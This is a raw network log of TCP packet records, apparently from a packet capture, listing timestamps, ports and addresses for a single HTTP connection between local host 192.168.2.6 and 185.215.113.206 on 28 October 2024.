Oct 28, 2024 02:07:48.961042881 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961054087 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961065054 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961075068 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.961095095 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961117029 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961119890 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.961127043 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961139917 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.961165905 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.961179972 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961195946 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961206913 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961218119 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961229086 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.961229086 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961242914 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961255074 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.961258888 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961261034 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.961280107 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961288929 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.961291075 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961299896 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961307049 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.961324930 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.961347103 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.961467981 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961513042 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.961568117 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961594105 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961610079 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.961623907 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.961628914 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961641073 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961649895 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961664915 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.961673021 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961688042 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.961700916 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.961714029 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961730003 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961740017 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961751938 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.961754084 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961764097 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961772919 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961779118 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.961783886 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961791992 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961808920 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.961819887 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961828947 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961837053 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961848021 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.961848021 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961877108 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.961882114 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961893082 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961901903 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961910963 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.961918116 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961929083 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961939096 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961955070 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.961956024 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961968899 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961981058 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.961997032 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.961999893 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.962008953 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.962025881 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.962040901 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.962047100 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.962080956 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.962090969 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.962101936 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.962117910 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.962126970 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.962129116 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.962137938 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.962146997 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.962165117 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.962182999 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.962188005 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.962193012 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.962202072 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.962208033 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.962217093 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.962222099 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.962227106 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.962234974 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.962236881 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.962248087 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.962265968 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.962281942 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.962296009 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.962305069 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.962321997 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.962332964 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.962341070 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.962342978 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.962353945 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.962361097 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.962366104 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.962384939 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.962412119 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.962438107 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.962452888 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.962462902 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.962472916 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.962474108 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.962485075 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.962495089 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.962502956 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.962506056 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.962533951 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.962549925 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.077900887 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.077967882 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.077994108 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078002930 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078013897 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078032017 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078039885 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.078043938 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078063011 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078073978 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078075886 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.078085899 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078088999 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.078103065 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078113079 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078115940 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.078129053 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078140974 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078144073 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.078150034 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078156948 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.078160048 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078176975 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078186035 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.078192949 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078214884 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.078219891 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078228951 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.078229904 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078241110 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078258991 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078258991 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.078270912 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078279972 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.078291893 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078303099 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.078303099 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078310966 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078321934 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078331947 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.078334093 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078351021 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078361034 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.078363895 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078375101 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078392029 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.078408957 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.078413963 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078423977 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078429937 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.078455925 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078494072 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.078574896 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078584909 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078603983 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078613043 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078618050 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.078624010 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078635931 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078645945 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078655005 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078664064 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.078672886 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078675032 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.078690052 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078696966 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.078702927 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078711987 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078713894 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.078722000 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078732967 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.078733921 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078747988 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078752995 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.078762054 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078777075 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078778982 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.078787088 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078798056 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.078804016 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078810930 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.078820944 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078833103 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078840971 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.078844070 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078862906 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.078885078 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.078934908 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078943968 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078953981 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078963995 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078975916 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078975916 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.078984976 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.078990936 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.079010010 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.079015970 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.079050064 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.079075098 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.079076052 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.079086065 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.079102993 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.079113007 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.079121113 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.079123974 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.079150915 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.079178095 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.079179049 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.079186916 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.079202890 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.079214096 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.079216957 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.079241991 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.079241991 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.079257965 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.079267025 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.079279900 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.079286098 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.079292059 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.079299927 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.079334021 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.079334021 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.079365015 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.079375982 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.079385042 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.079397917 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.079412937 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.079421043 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.079431057 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.079440117 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.079441071 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.079459906 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.079487085 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.079550028 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.079560995 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.079571009 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.079598904 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.079626083 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.079654932 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.079664946 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.079674959 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.079716921 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.079963923 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.079997063 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.080007076 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.080007076 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.080038071 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.080118895 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.080140114 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.080152035 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.080176115 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.080189943 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.080260038 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.080300093 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.080302000 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.080315113 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.080327034 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.080338001 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.080348015 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.080352068 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.080379009 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.080388069 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.080404997 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.080415964 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.080426931 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.080451012 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.080454111 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.080466032 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.080476046 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.080501080 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.080523968 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.080534935 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.080547094 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.080559015 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.080570936 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.080574036 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.080575943 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.080579042 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.080584049 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.080594063 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.080610991 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.080621004 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.080637932 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.080637932 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.080657005 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.080713987 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.080724001 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.080734015 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.080770969 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.080847025 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.119515896 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.119535923 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.119595051 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.119620085 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.120662928 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.120719910 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.120735884 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.120771885 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.120804071 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.195036888 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.195059061 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.195077896 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.195105076 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.195120096 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.195132971 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.195137024 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.195168018 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.195183992 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.195200920 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.195200920 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.195219040 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.195225954 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.195236921 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.195245981 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.195255995 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.195256948 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.195275068 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.195276976 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.195298910 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.195300102 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.195331097 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.195332050 CET	80	49967	185.215.113.206	192.168.2.6
